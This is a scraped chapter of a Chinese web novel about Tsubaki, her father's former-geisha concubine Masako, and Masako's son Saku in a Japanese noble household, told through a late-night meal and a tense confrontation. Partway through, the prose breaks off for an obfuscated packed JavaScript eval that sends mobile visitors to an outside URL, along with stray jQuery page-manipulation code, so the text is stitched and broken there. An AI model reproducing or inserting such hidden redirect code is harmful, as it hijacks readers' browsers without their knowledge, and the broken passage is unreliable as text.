心悸如擂鼓，喉咙干得发痛，胃袋空空地抽搐着。
窗外檐下的石灯笼还亮着昏蒙的光，将庭中五叶松的枝影投在障子上，随夜风微微摇动，宛如鬼魅的指爪。
丑时三刻，离天明尚早。
她起身，未点灯，只借着廊下透来的微光摸索着穿上榻榻米边的足袋。走过镜台时，她瞥见镜中自己苍白的脸，鬓发被冷汗濡湿贴在颊边。
她摊开手掌，从袖袋中抽出缀有藤纹的麻叶手绢，她开始反复擦拭指尖。先是拇指，接着是食指，一根一根，来回地、用力地擦。直到十指指尖都泛起不自然的嫣红，她才停下手。
之后她披上一件淡紫色的绉纱羽织，轻轻拉开房门。
厨房在宅邸的东侧，需要穿过长长的回廊。越往里走，光线越暗，只有远处厨房门缝里透出一点微光。她以为是值夜的仆役在准备明早的食材，但当她走过拐角，真正踏入厨房时怔在原地。
那女子穿着淡蓝色的盐泽紬小纹，系着朴素的半幅带，正背对着她站在灶台前。听到脚步声，她缓缓转过身来。
是雅子，朔的母亲，父亲的侧室。
她已年过三十多，但依然保持着艺伎出身特有的风韵，头发简单地挽成髻，插着一支素银簪子，脸上未施脂粉，却自有一种清雅的气质。
"椿小姐。"雅子细声细气地问好，"是不是饿了？你等等，我给你简单做点东西填填肚子。"
椿没有问她为何深夜出现在厨房，很久以前当雅子还是她的三味线老师时，就习惯喜欢在深夜捣鼓吃食，仿佛她的时钟永远与常人倒着来。
那时父亲接她回府，没有立即给她名分，只说是请来教导椿三味线的老师。雅子出身于岛原的艺伎世家，常在华族宴席上弹曲助兴，一手三味线技艺堪称绝妙。椿还记得她教学时的姿态，跪坐在蒲团上背脊挺直如竹，手指在琴弦上滑动时，仿佛在抚摸情人的脸颊。
就是在那段学琴的日子里，椿认识了朔。那时他还是个怯生生的男孩，总是安静地坐在角落，听着三味线的曲调出神。雅子常常在做完点心后招呼他们一起享用，有时是撒着黑芝麻的柏饼，有时是裹着豆馅的萩饼，盛在朴素的青花瓷碟里，却比任何珍馐都美味。
椿还记得她与朔合奏。
她弹三味线，他吹尺八，雅子在一旁轻轻打着节拍。那些午后阳光透过纸门，将三个人的影子投在榻榻米上。
但这一切都太过于久远。
雅子熟练地生起小灶，往锅里倒入清水。她从橱柜里取出干鲣鱼和昆布，开始制作出汁。
椿静静地站在门口，看着这个曾经被她称为"老师"的女子。
她想转折点在哪？
怎么会变得如此物是人非呢？
椿想起来了，那日半夜睡不着，想起雅子说过今晚要做荞麦馒头，便央求侍女阿冬陪她一起去雅子居住的小院。那段路在记忆中很清晰，月光很亮将庭院里的白沙照得发白，她们的木屐声在寂静中格外清脆。
到了小院，她听见里面传来三味线的声音，还有父亲的笑声。
然后朔拦住了去路，那时他刚满十二岁，穿着深蓝色的寝间着，头发有些凌乱。
他的声音带着不自然的紧绷，问她要去哪。
她说要去找雅子老师。
然后朔说固执地挡在路中央，说：“现在太晚了，明天再来吧。"
椿的眉头蹙起，心中不快。她试图从他身边绕过，却被朔伸手拦住。
"让开。"
朔依然沉默地站着。
小院里突然传来瓷器落地的清脆声响，紧接着是女子压抑的惊呼。椿用力想要推开朔，两人开始争执。
他紧紧抓住她的手腕，指尖冰凉："别去……求你……”
椿不管，她用尽全身力气挣脱他的束缚，向前跑去。
纸门"哗啦"一声被拉开，父亲站在门口，身上只随意披着一件墨色的羽织，衣带松散，露出里面的白色襦袢。
透过他肩头的缝隙，瞥见屋内雅子老师正慌乱地整理着散乱的衣襟。
月光照在每个人脸上。
父亲张了张嘴，似乎想说什么，却发不出任何声音。雅子跪坐在屋内深深低下头，露出雪白的后颈。
朔站在椿的身后，呼吸急促。
最后还是阿冬的惊叫声打破了死寂："老、老爷。”
椿猛地转身，发疯似的向来路跑去。朔还想拦住她，却被她用力推开，后背重重撞在廊柱上。
后来听说这一下在他身上留了伤，他为此苦挨了很久。
她哭着跑开，一路跑到母亲的寝殿，扑进母亲怀里抽噎。
这件事再也掩盖不住了。
不久后父亲正式纳雅子为侧室，而椿在房间里砸烂了雅子送给她的三味线。
"好了。"雅子的声音将椿从回忆中拉回。
她将一碗热气腾腾的茶泡饭放在桌上，米饭上铺着鲑鱼碎、海苔丝，还有一颗梅干。她仔细地用怀纸擦拭了碗的边缘，这才递过来。
雅子挨着椿坐下，扭头看着她："你都不来找我了。"
她的声音很轻，像是怕惊扰了什么，"有多久没见了？我们两个，小椿出落得这么漂亮了。"
椿小口吃着茶泡饭，温热的食物缓解了胃里的空虚。
在雅子的注视下，她忽然觉得自己不该怪这个女子。一个出身艺伎的女人，本就没有太多选择。她对自己的怨恨，更多是投射在朔身上的泄愤。
她恨自己，恨如果那晚没有去小院，是否就可以继续掩耳盗铃假装什么都不知道？
父母的关系不会弄僵，她和朔也许还能是……还能是什么？
雅子轻轻叹了口气："朔那孩子给你添麻烦了吧？"
“……没有。”
椿放下筷子，碗里的茶泡饭已经见了底。
"很好吃，谢谢。"她站起身，轻声说道。
离开厨房，长廊重归清冷，只有檐角石灯笼里残存的灯油，偶尔爆开一星半点的微光，将她的影子在廊下拉长扭曲，又缩短。夜风穿过庭园，拂过沙沙作响的竹林，带来潮湿的泥土和隐约的苔藓气息。
她拢了拢身上那件略显单薄的鼠灰色捻线绸羽织，足下的白布袜踏过冰凉光滑的木板。就在她即将拐向自己院落的方向时，身后传来了脚步声。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203569|197308||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
不是穿着木屐或草履会发出的清脆声响，而是更轻更闷，带着一种小心翼翼的黏着感，一下两下，不紧不慢，踩在她心跳的间隙里。
脚步声在她身后几步远的地方，停住了。
椿缓缓转过身。
月光和廊下昏朦的灯影交织处，站着朔。
他也只穿着居家的素色小袖和袴，深蓝色的棉布质地，几乎与夜色融为一体。墨色的头发未像白日那样仔细梳理，几缕碎发柔软地垂在额前，减弱了几分他眉眼间的阴翳。
他赤着脚，直接踩在木地板上，难怪脚步声那样轻闷。
“姐姐也没睡？”
椿看着他，语气平淡无波：“你倒是精力充沛。”
朔微微低下头，唇角似乎牵动了一下，“姐姐不也是。”
他熬夜的次数确实很多，但这并非他本意。他似乎天生属于夜晚，在天光彻底沉入墨色后精神反而会愈发清明活跃。小时候因为这习性，总闹得他母亲雅子晚上无法安眠。
雅子那时还会带着几分倦怠的温柔，笑着抱怨：“这孩子，怕是跟我以前一样，习惯了夜行生物的钟点呢。”
雅子作为艺伎的岁月里，真正的“生活”是在华灯初上后才开始的。宴席之上，觥筹交错，清酒在精致的猪口杯里荡漾，客人们酒过三巡，面红耳热之际，才是她们调动起全部精神弹奏三味线，调节气氛。
待到曲终人散，收拾完残局，往往已是深夜甚至凌晨。
椿没有接他的话茬，只是低下头，理了理自己羽织的衣摆，“你追出来，有什么事？”
她抬起眼，目光清凌凌地落在他脸上，“如果还要说那些事，那么傍晚时在乐屋，我说得还不够清楚吗？”
此刻长长的回廊只有他们两人，远处主屋的灯火早已熄灭，仆役们也都在沉睡。他们都穿着素净的居家服，椿甚至披散着头发，白日里那些代表身份、礼仪的钗环首饰、华美外袍尽数褪去。
这几乎是剥离了所有社会赋予的修饰，只剩下近乎本真的自我。
黑夜像一层厚重的丝绒，能将许多白日里需要紧绷的东西悄然掩藏。朔或许以为，在这样的夜色里，褪去了身份的桎梏，他们之间那白日里针锋相对的关系，会有所不同。
月下看人，灯下观景，在朦胧的光线下，连最寻常的物事也会平添几分诗意与可爱。
见朔只是沉默地看着她，椿拢了拢肩上的羽织，非但没有后退，反而慢慢向他靠近了一步。
两人之间的距离瞬间缩短到能清晰感受到对方呼吸的拂动。
“为什么总是盯着我不放？”她的声音压得很低，像夜风拂过竹叶，“同样的问题，你会去劝谏父亲吗？”她顿了顿，不需要他回答，便自己接了下去，“不会吧，你是父亲朝三暮四后的利益既得者，你怎么会去劝呢？”
她的目光锐利起来：“那你会去劝辉夜吗？会吗？你总是揪着我和辉夜的问题不放，无非是觉得辉夜他天性便是那样随性不拘，而我……我不应该，是吗？”
她的语气里带上了愤懑，“凭什么？”
她越看他沉默隐忍的样子，越觉得那张清俊的脸庞此刻面目可憎。